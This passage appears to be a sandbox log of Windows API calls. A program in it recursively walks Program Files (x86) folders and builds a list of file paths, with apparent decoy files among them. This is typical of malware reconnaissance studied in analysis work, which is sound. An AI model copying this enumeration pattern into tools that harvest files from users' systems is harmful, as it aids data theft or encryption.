lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.551] lstrcmpW (lpString1="bin", lpString2=".") returned 1 [0031.551] lstrcmpW (lpString1="bin", lpString2="..") returned 1 [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0031.551] lstrlenW (lpString="bin") returned 3 [0031.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="bin" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\bin") returned="c:\\Program Files (x86)\\Java\\jre7\\bin" [0031.551] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.551] lstrcmpW (lpString1="COPYRIGHT", lpString2=".") returned 1 [0031.551] lstrcmpW (lpString1="COPYRIGHT", lpString2="..") returned 1 [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0031.551] lstrlenW (lpString="COPYRIGHT") returned 9 [0031.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned 42 [0031.551] lstrcpyW (in: lpString1=0x25e15d0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0031.551] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.551] lstrcmpW (lpString1="lib", lpString2=".") returned 1 [0031.551] lstrcmpW (lpString1="lib", lpString2="..") returned 1 [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0031.551] lstrlenW (lpString="lib") returned 3 [0031.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="lib" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\lib") returned="c:\\Program Files (x86)\\Java\\jre7\\lib" [0031.551] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.551] lstrcmpW (lpString1="LICENSE", lpString2=".") returned 1 [0031.551] lstrcmpW (lpString1="LICENSE", lpString2="..") returned 1 [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0031.551] lstrlenW (lpString="LICENSE") returned 7 [0031.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned 40 [0031.551] lstrcpyW (in: lpString1=0x25e1630, lpString2="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0031.551] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.551] lstrcmpW (lpString1="README.txt", lpString2=".") returned 1 [0031.551] lstrcmpW (lpString1="README.txt", lpString2="..") returned 1 [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0031.551] lstrlenW (lpString="README.txt") returned 10 [0031.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned 43 [0031.551] lstrcpyW (in: lpString1=0x25e1690, lpString2="c:\\Program Files (x86)\\Java\\jre7\\README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0031.551] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.551] lstrcmpW (lpString1="release", lpString2=".") returned 1 [0031.551] lstrcmpW (lpString1="release", lpString2="..") returned 1 [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0031.551] lstrlenW (lpString="release") returned 7 [0031.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\release") returned 40 [0031.552] lstrcpyW (in: lpString1=0x25e16f0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0031.552] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.552] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".") returned 1 [0031.552] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="..") returned 1 [0031.552] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0031.552] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0031.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0031.552] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 67 [0031.552] lstrcpyW (in: lpString1=0x25e1750, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0031.552] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.552] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".") returned 1 [0031.552] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="..") returned 1 [0031.552] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0031.552] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0031.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0031.552] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned 60 [0031.552] lstrcpyW (in: lpString1=0x25e17e0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0031.552] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.552] lstrcmpW (lpString1="Welcome.html", lpString2=".") returned 1 [0031.552] lstrcmpW (lpString1="Welcome.html", lpString2="..") returned 1 [0031.552] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0031.552] lstrlenW (lpString="Welcome.html") returned 12 [0031.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0031.552] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned 45 [0031.552] lstrcpyW (in: lpString1=0x25e1868, lpString2="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0031.552] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.552] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.552] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.552] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2=".") returned 1 [0031.552] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2="..") returned 1 [0031.552] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0031.552] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0031.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0031.552] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned 64 [0031.552] lstrcpyW (in: lpString1=0x25e18d0, lpString2="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0031.552] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.552] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.552] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.552] lstrcmpW (lpString1="Microsoft Office", lpString2=".") returned 1 [0031.552] lstrcmpW (lpString1="Microsoft Office", lpString2="..") returned 1 [0031.552] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.552] lstrlenW (lpString="Microsoft Office") returned 16 [0031.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft Office" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office") returned="c:\\Program Files (x86)\\Microsoft Office" [0031.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\") returned="c:\\Program Files (x86)\\Microsoft Office\\" [0031.552] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft Office\\") returned 40 [0031.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\*") returned="c:\\Program Files (x86)\\Microsoft Office\\*" [0031.552] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.553] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.553] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.553] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.553] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.553] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.553] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.553] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.553] lstrcmpW (lpString1="Microsoft OneDrive", lpString2=".") returned 1 [0031.553] lstrcmpW (lpString1="Microsoft OneDrive", lpString2="..") returned 1 [0031.553] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.553] lstrlenW (lpString="Microsoft OneDrive") returned 18 [0031.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive") returned="c:\\Program Files (x86)\\Microsoft OneDrive" [0031.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\" [0031.553] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0031.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\*") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\*" [0031.553] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft OneDrive\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.553] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.553] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.553] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.553] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.553] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.553] lstrcmpW (lpString1="farehave.exe", lpString2=".") returned 1 [0031.553] lstrcmpW (lpString1="farehave.exe", lpString2="..") returned 1 [0031.553] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0031.553] lstrlenW (lpString="farehave.exe") returned 12 [0031.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0031.553] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned 54 [0031.553] lstrcpyW (in: lpString1=0x25e0858, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0031.553] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.553] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2=".") returned 1 [0031.553] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2="..") returned 1 [0031.553] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0031.553] lstrlenW (lpString="OneDriveSetup.exe") returned 17 [0031.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0031.553] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned 59 [0031.553] lstrcpyW (in: lpString1=0x25e1960, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0031.553] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.554] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.554] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.554] lstrcmpW (lpString1="Microsoft.NET", lpString2=".") returned 1 [0031.554] lstrcmpW (lpString1="Microsoft.NET", lpString2="..") returned 1 [0031.554] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.554] lstrlenW (lpString="Microsoft.NET") returned 13 [0031.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft.NET" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET") returned="c:\\Program Files (x86)\\Microsoft.NET" [0031.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\" [0031.554] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0031.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\*" [0031.554] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.554] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.554] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.554] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.554] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.554] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2=".") returned 1 [0031.554] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2="..") returned 1 [0031.554] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0031.554] lstrlenW (lpString="Primary Interop Assemblies") returned 26 [0031.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="Primary Interop Assemblies" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0031.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\" [0031.554] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0031.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*" [0031.554] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.554] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.555] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.555] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.555] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.555] lstrcmpW (lpString1="adodb.dll", lpString2=".") returned 1 [0031.555] lstrcmpW (lpString1="adodb.dll", lpString2="..") returned 1 [0031.555] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0031.555] lstrlenW (lpString="adodb.dll") returned 9 [0031.555] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0031.555] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned 73 [0031.555] lstrcpyW (in: lpString1=0x25e19e0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0031.555] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.555] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2=".") returned 1 [0031.555] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2="..") returned 1 [0031.555] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0031.555] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20 [0031.555] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0031.555] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned 84 [0031.555] lstrcpyW (in: lpString1=0x25e1a80, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0031.555] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.555] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2=".") returned 1 [0031.555] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2="..") returned 1 [0031.555] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0031.555] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23 [0031.555] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0031.555] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned 87 [0031.555] lstrcpyW (in: lpString1=0x25e1b38, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0031.555] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.555] lstrcmpW (lpString1="msdatasrc.dll", lpString2=".") returned 1 [0031.555] lstrcmpW (lpString1="msdatasrc.dll", lpString2="..") returned 1 [0031.555] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0031.555] lstrlenW (lpString="msdatasrc.dll") returned 13 [0031.555] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0031.555] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned 77 [0031.555] lstrcpyW (in: lpString1=0x25e1bf0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0031.555] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.555] lstrcmpW (lpString1="stdole.dll", lpString2=".") returned 1 [0031.555] lstrcmpW (lpString1="stdole.dll", lpString2="..") returned 1 [0031.555] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0031.555] lstrlenW (lpString="stdole.dll") returned 10 [0031.555] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0031.555] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned 74 [0031.555] lstrcpyW (in: lpString1=0x25e1c98, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0031.555] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.555] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.556] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.556] lstrcmpW (lpString1="RedistList", lpString2=".") returned 1 [0031.556] lstrcmpW (lpString1="RedistList", lpString2="..") returned 1 [0031.556] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0031.556] lstrlenW (lpString="RedistList") returned 10 [0031.556] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="RedistList" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0031.556] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0031.556] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0031.556] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*" [0031.556] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.556] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.556] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.556] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.556] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.556] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.557] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2=".") returned 1 [0031.557] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2="..") returned 1 [0031.557] lstrlenW (lpString="c:\\Program Files 